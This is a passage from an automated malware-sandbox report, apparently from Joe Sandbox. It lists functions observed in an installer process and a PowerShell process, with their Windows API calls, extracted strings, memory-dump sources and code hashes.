Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction ID: 70287f52249eeba914cab3bee2f8f529b2cd5257afac1a85b0186071c419a2a5
Opcode Fuzzy Hash: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction Fuzzy Hash: 2511E732E00200ABDB10FFA5DD4AABE3A64EF40354F10403FF50AB61D2D6798E50C6AD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406301: FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
Part of subcall function 00406301: FindClose.KERNEL32(00000000), ref: 00406318

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction ID: 7c1d43f40acf3f33c375e3424532232737b5c7d4dc38a4161669d523a66d0fcf
Opcode Fuzzy Hash: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction Fuzzy Hash: 8A114F71D00214AADB10FFF6984699FBBBCAF44354B10843BA502F72D2E67989418759

Function 00406250 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 004062A4
lstrcatW.KERNEL32(00000000,...), ref: 004062C7

Strings

..., xrefs: 004062BF
%02x%c, xrefs: 0040629C

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction ID: 9bf571533c0fd83e5fe1ff618cfd19ea7d9613251e6e948213dceada22d50e27
Opcode Fuzzy Hash: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction Fuzzy Hash: E201D272510219BFCB01DF98CC44A9EBBB9EF84714F20817AF806F3280D2799EA48794

Function 00405073 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405083

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

OleUninitialize.OLE32(00000404,00000000), ref: 004050D1

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

Skipping section: "%s", xrefs: 004050E1
Section: "%s", xrefs: 004050A5

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction ID: 3a4ae3dd184d198318ece42e1af7a5bc75ccdc2bd7a030bb5b2a43e0dda7b67b
Opcode Fuzzy Hash: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction Fuzzy Hash: 0EF0F433504300ABE7106766AC02B1A7BA0EF84724F25017FFA09721E2DB7928418EAD

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00425979,74DF23A0,00000000), ref: 00406902

CreateFontIndirectW.GDI32(00420110), ref: 0040216A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction ID: 0ba792ce9c48b24537a9dfec97a4105c0a721b5be590283e64661935fd66df2d
Opcode Fuzzy Hash: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction Fuzzy Hash: B6018872B042509FF7119BB4BC4ABAA7BE4A715315F504436F141F61E3CA7D4411C72D

Function 00407224 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406EFE: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407265
lstrcmpW.KERNEL32(?,Version ), ref: 00407276
lstrcpynW.KERNEL32(?,?,?), ref: 0040728D

Strings

Version , xrefs: 0040726D

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction ID: f6016284c167eb8c93e4c4d2cd91337f160ffdcdaea293fd9af5b6974d265005
Opcode Fuzzy Hash: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction Fuzzy Hash: 74F08172A0021CBBDF109BA5DD45EEA777CAB44700F000076F600F6191E2B5AE148BA1

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040372F,00000001,?,?,?,00000000,00403A73,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A73,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction ID: 7080548a0c715e844c944b711630a30770084a0de0adb1936a850f0acfbe0ad2
Opcode Fuzzy Hash: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction Fuzzy Hash: 76F05E30541220BBC620AF24FD89AAF7F68B705B1274008BAF405B11A6C7384D92CFDC

Function 00406391 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 0040639C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 004063B2
GetProcAddress.KERNEL32(?,00000000), ref: 004063C1
GlobalFree.KERNEL32(00000000), ref: 004063CA

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction ID: 23858f5f5f858bd20c6f81bae205610dc5c3869b82bfcacec746ad73dc06cfd6
Opcode Fuzzy Hash: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction Fuzzy Hash: 82E092313001117BF2101B269D8CD677EACDBCA7B2B05013AF645E11E1C6308C10C674

Function 004048F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040492E
CallWindowProcW.USER32(?,00000200,?,?), ref: 0040499C

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Strings

, xrefs: 00404906

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction ID: 3c1fd1ddb59456d7d2ea24cd553691e7f5dd8d926ac1a383129e0726a186868e
Opcode Fuzzy Hash: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction Fuzzy Hash: CE118FF1500209ABDF115F65DC44EAB776CAF84365F00803BFA04761A2C37D8D919FA9

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction ID: 1025b72e91f13a3121db677028adcce723ab2f3f19a12cbdb86f5280e69f3e4e
Opcode Fuzzy Hash: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction Fuzzy Hash: 14E0C0716002086AEB01ABA1DD89DAE7BACAB45304F144426F601F71E3E6745D028714

Function 00405C6B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
CloseHandle.KERNEL32(?), ref: 00405C9D

Strings

Error launching installer, xrefs: 00405C74

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction ID: 058e85fc593d498414a6a643ff83d14e048665682532f700ab3f6144ed6d8858
Opcode Fuzzy Hash: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction Fuzzy Hash: A4E0ECB0900209AFEB009F65DD09E7B7BBCEB00384F084426AD10E2161E778D8148B69

Function 004062CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406113: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062D1, 004062D6

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction ID: 2c5812d3804eb93f93713fa8b891b4ce654538dc852139f9e16b4ff69120e8c2
Opcode Fuzzy Hash: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction Fuzzy Hash: 93D05E34A50206BADA009FE1FE29E597764AB84304F400869F005890B1EA74C4108B0E

Function 00405DE2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
lstrcmpiA.KERNEL32(?,?), ref: 00405E0A
CharNextA.USER32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E1B
lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

Memory Dump Source

Source File: 00000000.00000002.1772012648.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1772000007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772026555.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772040682.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1772158208.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction ID: 6c750b41c95b6ea6b2c0dd9449a28e86abc919c298eb75f697d1220529daba74
Opcode Fuzzy Hash: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction Fuzzy Hash: 95F0CD31205558FFCB019FA9DC0499FBBA8EF5A350B2544AAE840E7321D234DE019BA4

Analysis Process: powershell.exePID: 7736, Parent PID: 7924COMMON

Executed Functions

Function 0317B342 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3190704279.0000000003170000.00000040.00000800.00020000.00000000.sdmp, Offset: 03170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dcc5fe8c52bfff4cbf92bb0f8ab2612420e2a41f4b54954319f7cca3070809a
Instruction ID: 23e095cdce825aab0bafbb5e090c4820fdf04508548cd537950ead94dfb5f14f
Opcode Fuzzy Hash: 6dcc5fe8c52bfff4cbf92bb0f8ab2612420e2a41f4b54954319f7cca3070809a
Instruction Fuzzy Hash: E0917371B006195BDB1AEBB4C8155AFB7F2EFC4704B04891DD10AAB344DF74AE068BD6

Function 0317B350 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3190704279.0000000003170000.00000040.00000800.00020000.00000000.sdmp, Offset: 03170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f634ff4c3c429b169008f43dbcbd36b2bf3355eb4b86d276140590b01e2aec1f
Instruction ID: 7a8d1c4dbc67b4f552abe5e1e3fd667a6b9c45aaf929774345c718bf2607f363
Opcode Fuzzy Hash: f634ff4c3c429b169008f43dbcbd36b2bf3355eb4b86d276140590b01e2aec1f
Instruction Fuzzy Hash: 63916271B006199BDB1AEBB5C8055AFB7F2EFC4704B04891DD10AAB344DF74AA068BD6

Function 075364B0 Relevance: 17.0, Strings: 11, Instructions: 3206COMMON

Download Yara Rule

Strings

4'^q, xrefs: 075373CB
4'^q, xrefs: 075367B6
4'^q, xrefs: 07536915
4'^q, xrefs: 075373BF
h2|j, xrefs: 07536EF5
4'^q, xrefs: 075365E5
4'^q, xrefs: 07536921
4'^q, xrefs: 075367C0
4'^q, xrefs: 075365EF
4'^q, xrefs: 0753707A
4'^q, xrefs: 07537086

Memory Dump Source

Source File: 00000010.00000002.3195673054.0000000007530000.00000040.00000800.00020000.00000000.sdmp, Offset: 07530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7530000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$h2|j
API String ID: 0-3387054271
Opcode ID: 4d63dd0cbd0950e6522d03b1ae3567c3e677cac328a4dafcba6fcdc60f364808
Instruction ID: 6cfddd1aad5abf17aba40dce036d903aeba12f1b4cd3a857c63cdb3a55d12d54
Opcode Fuzzy Hash: 4d63dd0cbd0950e6522d03b1ae3567c3e677cac328a4dafcba6fcdc60f364808
Instruction Fuzzy Hash: B292E4B0B00206DFCB14DB68D950AEABBE2FF85350F14886ED9059B365DB36DC45CBA1

Function 07532C90 Relevance: 10.7, Strings: 8, Instructions: 677COMMON

Download Yara Rule

Strings

piQj, xrefs: 07532D38
piQj, xrefs: 07532F0A
|,Sj, xrefs: 07532F63
4'^q, xrefs: 07532F95
piQj, xrefs: 07532CEB
4'^q, xrefs: 07532FA1
piQj, xrefs: 07532D28
piQj, xrefs: 07532D9E

Memory Dump Source

